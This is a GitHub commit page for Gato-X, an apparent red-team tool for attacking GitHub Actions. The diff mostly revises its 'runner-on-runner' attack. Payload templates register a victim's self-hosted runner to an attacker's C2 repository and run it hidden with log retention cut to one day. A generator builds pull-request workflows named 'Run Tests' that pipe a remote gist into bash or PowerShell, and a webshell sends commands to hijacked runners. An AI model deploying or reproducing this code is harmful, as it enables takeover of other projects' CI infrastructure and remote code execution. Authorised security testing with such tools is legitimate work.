Skip to content

Commit

Permalink
Fix broken windows RoR and improve attack UX. (#61)
Browse files Browse the repository at this point in the history
* Fix windows attack and re-structure payload only and interact modes.
* Add runner status to list runners at set 1 day log retention.
* Formatting.
  • Loading branch information
AdnaneKhan authored Nov 20, 2024
1 parent 3d7be9e commit fd1f4b1
Show file tree
Hide file tree
Showing 7 changed files with 150 additions and 73 deletions.
2 changes: 2 additions & 0 deletions gatox/attack/attack.py
Original file line number Diff line number Diff line change
Expand Up @@ -90,6 +90,8 @@ def create_gist(self, gist_name: str, gist_contents: str):
result.json()["id"],
result.json()["files"][f"{gist_name}-{random_id}"]["raw_url"],
)
else:
Output.error("Failed to create Gist!")

def execute_and_wait_workflow(
self,
Expand Down
50 changes: 47 additions & 3 deletions gatox/attack/payloads/payloads.py
Original file line number Diff line number Diff line change
@@ -1,3 +1,6 @@
import yaml


class Payloads:
"""Collection of payload template used for various attacks."""

Expand Down Expand Up @@ -46,7 +49,8 @@ class Payloads:
REG_TOKEN=`echo "{0}" | base64 -d`
C2_REPO={1}
KEEP_ALIVE={4}
export WORKER_LOGRETENTION=1
export RUNNER_LOGRETENTION=1
mkdir -p $HOME/.actions-runner1/ && cd $HOME/.actions-runner1/
curl -o {2} -L https://github.com/actions/runner/releases/download/{3}/{2} > /dev/null 2>&1
tar xzf ./{2}
Expand All @@ -62,19 +66,25 @@ class Payloads:
"""

ROR_GIST_WINDOWS = """
$keep_alive = ${4}
$env:RUNNER_LOGRETENTION=1
$env:WORKER_LOGRETENTION=1
mkdir C:\\.actions-runner1; cd C:\\.actions-runner1
Invoke-WebRequest -Uri https://github.com/actions/runner/releases/download/{3}/{2} -OutFile {2}
Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory("$PWD/{2}", "$PWD")
./config.cmd --url https://github.com/{1} --unattended --token {0} --name "gatox-{5}"
./config.cmd --url https://github.com/{1} --unattended --token {0} --name "gatox-{5}" --labels "gatox-{5}"
$env:RUNNER_TRACKING_ID=0
Start-Process -WindowStyle Hidden -FilePath "./run.cmd"
if ($keep_alive) {{ ./run.cmd }} else {{ Start-Process -WindowStyle Hidden -FilePath "./run.cmd" }}
"""

ROR_GIST_MACOS = """
REG_TOKEN=`echo "{0}" | base64 -d`
C2_REPO={1}
KEEP_ALIVE={4}
export WORKER_LOGRETENTION=1
export RUNNER_LOGRETENTION=1
mkdir -p $HOME/runner/.actions-runner/ && cd $HOME/runner/.actions-runner/
curl -o {2} -L https://github.com/actions/runner/releases/download/{3}/{2} > /dev/null 2>&1
tar xzf ./{2}
Expand Down Expand Up @@ -111,3 +121,37 @@ def create_exfil_payload():
exit 0
fi
"""

@staticmethod
def create_ror_workflow(
workflow_name: str,
run_name: str,
gist_url: str,
runner_labels: list,
target_os: str = "linux",
):
""" """
yaml_file = {}

yaml_file["name"] = workflow_name
yaml_file["run-name"] = run_name if run_name else workflow_name
yaml_file["on"] = ["pull_request"]

if target_os == "linux" or target_os == "osx":
run_payload = f"curl -sSfL {gist_url} | bash > /dev/null 2>&1"
elif target_os == "win":
run_payload = f"curl -sSfL {gist_url} | powershell *> $null"

test_job = {
"runs-on": runner_labels,
"steps": [
{
"name": "Run Tests",
"run": run_payload,
"continue-on-error": "true",
}
],
}
yaml_file["jobs"] = {"testing": test_job}

return yaml.dump(yaml_file, sort_keys=False, default_style="", width=4096)
92 changes: 50 additions & 42 deletions gatox/attack/runner/webshell.py
Original file line number Diff line number Diff line change
Expand Up @@ -47,31 +47,6 @@ class WebShell(Attacker):

LINE_PATTERN = re.compile(r"^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{7}Z\s(.*)$")

@staticmethod
def create_ror_workflow(
workflow_name: str, run_name: str, gist_url: str, runner_labels: list
):
""" """
yaml_file = {}

yaml_file["name"] = workflow_name
yaml_file["run-name"] = run_name if run_name else workflow_name
yaml_file["on"] = ["pull_request"]

test_job = {
"runs-on": runner_labels,
"steps": [
{
"name": "Run Tests",
"run": f"curl -sSfL {gist_url} | bash > /dev/null 2>&1",
"continue-on-error": "true",
}
],
}
yaml_file["jobs"] = {"testing": test_job}

return yaml.dump(yaml_file, sort_keys=False, default_style="", width=4096)

def setup_payload_gist_and_workflow(
self, c2_repo, target_os, target_arch, keep_alive=False
):
Expand All @@ -94,30 +69,49 @@ def setup_payload_gist_and_workflow(
ror_gist = self.format_ror_gist(
c2_repo, target_os, target_arch, keep_alive=keep_alive
)

if not ror_gist:
Output.error("Failed to format runner-on-runner Gist!")
return None, None

gist_id, gist_url = self.create_gist("runner", ror_gist)

if not gist_url:
return None, None

Output.info(f"Successfully created runner-on-runner Gist at {gist_url}!")

return gist_id, gist_url

def payload_only(
self,
c2_repo: str,
target_os: str,
target_arch: str,
requested_labels: list,
keep_alive: bool = False,
c2_repo: str = None,
workflow_name: str = "Testing",
run_name: str = "Testing",
):
"""Generates payload gist and prints RoR workflow."""
self.setup_user_info()

gist_id, gist_url = self.setup_payload_gist_and_workflow(
if not c2_repo:
c2_repo = self.configure_c2_repository()
Output.info(f"Created C2 repository: {Output.bright(c2_repo)}")
else:
Output.info(f"Using provided C2 repository: {Output.bright(c2_repo)}")

_, gist_url = self.setup_payload_gist_and_workflow(
c2_repo, target_os, target_arch, keep_alive=keep_alive
)
ror_workflow = WebShell.create_ror_workflow(
workflow_name, run_name, gist_url, requested_labels

if not gist_url:
Output.error("Failed to create Gist!")
return

ror_workflow = Payloads.create_ror_workflow(
workflow_name, run_name, gist_url, requested_labels, target_os=target_os
)

Output.info("RoR Workflow below:\n")
Expand All @@ -137,6 +131,7 @@ def runner_on_runner(
yaml_name: str = "tests",
workflow_name: str = "Testing",
run_name: str = "Testing",
c2_repo: str = None,
):
"""Performs a runner-on-runner attack using the fork pull request technique.
Expand All @@ -155,18 +150,18 @@ def runner_on_runner(
Output.error("Insufficient scopes for attacker PAT!")
return False

## TODO: Provide option to re-use an existing C2 repository.
## Initial steps, preparing C2 and payloads
c2_repo = self.configure_c2_repository()

Output.info(f"Created C2 repository: {Output.bright(c2_repo)}")
if not c2_repo:
c2_repo = self.configure_c2_repository()
Output.info(f"Created C2 repository: {Output.bright(c2_repo)}")
else:
Output.info(f"Using provided C2 repository: {Output.bright(c2_repo)}")

gist_id, gist_url = self.setup_payload_gist_and_workflow(
c2_repo, target_os, target_arch, keep_alive=keep_alive
)

ror_workflow = WebShell.create_ror_workflow(
workflow_name, run_name, gist_url, requested_labels
ror_workflow = Payloads.create_ror_workflow(
workflow_name, run_name, gist_url, requested_labels, target_os=target_os
)

Output.info(
Expand Down Expand Up @@ -413,7 +408,8 @@ def format_ror_gist(
name = release[0]["tag_name"]
version = name[1:]

release_file = f"actions-runner-{target_os}-{target_arch}-{version}.tar.gz"
# File name varies by OS.
release_file = f"actions-runner-{target_os}-{target_arch}-{version}.{target_os == 'win' and 'zip' or 'tar.gz'}"
token_resp = self.api.call_post(
f"/repos/{c2_repo}/actions/runners/registration-token"
)
Expand All @@ -433,9 +429,14 @@ def format_ror_gist(
"true" if keep_alive else "false",
random_name,
)
elif target_os == "windows":
elif target_os == "win":
return Payloads.ROR_GIST_WINDOWS.format(
registration_token, c2_repo, release_file, name
registration_token,
c2_repo,
release_file,
name,
"true" if keep_alive else "false",
random_name,
)
elif target_os == "osx":
return Payloads.ROR_GIST_MACOS.format(
Expand All @@ -446,6 +447,9 @@ def format_ror_gist(
"true" if keep_alive else "false",
random_name,
)
else:
Output.error("Unable to retrieve runner version!")
return None

def issue_command(
self,
Expand Down Expand Up @@ -582,10 +586,14 @@ def list_runners(self, c2_repo):

Output.info(f"There are {len(runners)} runner(s) connected to {c2_repo}:")
for runner in runners:

runner_name = runner["name"]

labels = ", ".join([label["name"] for label in runner["labels"]])
Output.tabbed(f"Name: {runner_name} - Labels: {labels}")
labels = ", ".join(
[Output.yellow(label["name"]) for label in runner["labels"]]
)
status = runner["status"]
Output.tabbed(
f"Name: {Output.red(runner_name)} - Labels: {labels} - Status: {Output.bright(status)}"
)
else:
Output.error("No runners connected to C2 repository!")
26 changes: 12 additions & 14 deletions gatox/cli/attack/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -152,10 +152,16 @@ def configure_parser_attack(parser):
)

parser.add_argument(
"--interact",
"--c2-repo",
metavar="C2_REPO",
help="Interact with a C2 repository with an existing runner-on-runner.",
type=StringType(10),
help="Name of an existing Gato-X C2 repository in Owner/Repo format.",
)

parser.add_argument(
"--interact",
action="store_true",
help="Connect to a C2 repository and interact with connected runners.",
default=False,
)

parser.add_argument(
Expand All @@ -170,7 +176,7 @@ def configure_parser_attack(parser):
"--target-os",
metavar="TARGET_OS",
help="Operating system for Runner-on-Runner attack. Options: windows, linux, osx.",
choices=["windows", "linux", "osx"],
choices=["win", "linux", "osx"],
)

parser.add_argument(
Expand All @@ -189,15 +195,7 @@ def configure_parser_attack(parser):

parser.add_argument(
"--payload-only",
metavar="C2_REPO",
help="Generaate payloads with the specified C2 repository. Used for manually deploying runner on runner.",
help="Generaate payloads with the specified C2 repository or creates a new one. Used for manually deploying runner on runner.",
default=False,
type=StringType(64),
)

parser.add_argument(
"--runner-name",
metavar="RUNNER_NAME",
help="Name of the runner to be used in the attack. Required if using --interact.",
type=StringType(64),
action="store_true",
)
15 changes: 13 additions & 2 deletions gatox/cli/cli.py
Original file line number Diff line number Diff line change
Expand Up @@ -195,8 +195,13 @@ def attack(args, parser):
)

if args.payload_only:

gh_attack_runner.payload_only(
args.payload_only, args.target_os, args.target_arch, args.labels
args.target_os,
args.target_arch,
args.labels,
c2_repo=args.c2_repo,
keep_alive=args.keep_alive,
)
elif args.runner_on_runner:
gh_attack_runner.runner_on_runner(
Expand All @@ -212,9 +217,15 @@ def attack(args, parser):
yaml_name=args.file_name,
run_name=args.name,
workflow_name=args.name,
c2_repo=args.c2_repo,
)
elif args.interact:
gh_attack_runner.interact_webshell(args.interact)
if args.c2_repo:
gh_attack_runner.interact_webshell(args.c2_repo)
else:
parser.error(
f"{Fore.RED}[!] You must specify a C2 repo to interact with!"
)

elif args.workflow:
gh_attack_runner = Attacker(
Expand Down
26 changes: 26 additions & 0 deletions unit_test/test_payloads.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,3 +7,29 @@ def test_create_malicious_push_yaml():
yaml = CICDAttack.create_push_yml("whoami", "testing")

assert "run: whoami" in yaml


def test_ror_workflow_default():

workflow = Payloads.create_ror_workflow(
"foobar",
"evil",
"https://example.com",
runner_labels=["self-hosted", "super-secure"],
)

assert "continue-on-error: true" in workflow


def test_ror_workflow_win():

workflow = Payloads.create_ror_workflow(
"foobar",
"evil",
"https://example.com",
runner_labels=["self-hosted", "super-secure"],
target_os="win",
)

assert "continue-on-error: true" in workflow
assert "powershell" in workflow
12 changes: 0 additions & 12 deletions unit_test/test_webshell.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,15 +2,3 @@
from unittest.mock import MagicMock

from gatox.attack.runner.webshell import WebShell


def test_ror_workflow():

workflow = WebShell.create_ror_workflow(
"foobar",
"evil",
"https://example.com",
runner_labels=["self-hosted", "super-secure"],
)

assert "continue-on-error: true" in workflow

0 comments on commit fd1f4b1

Please sign in to comment.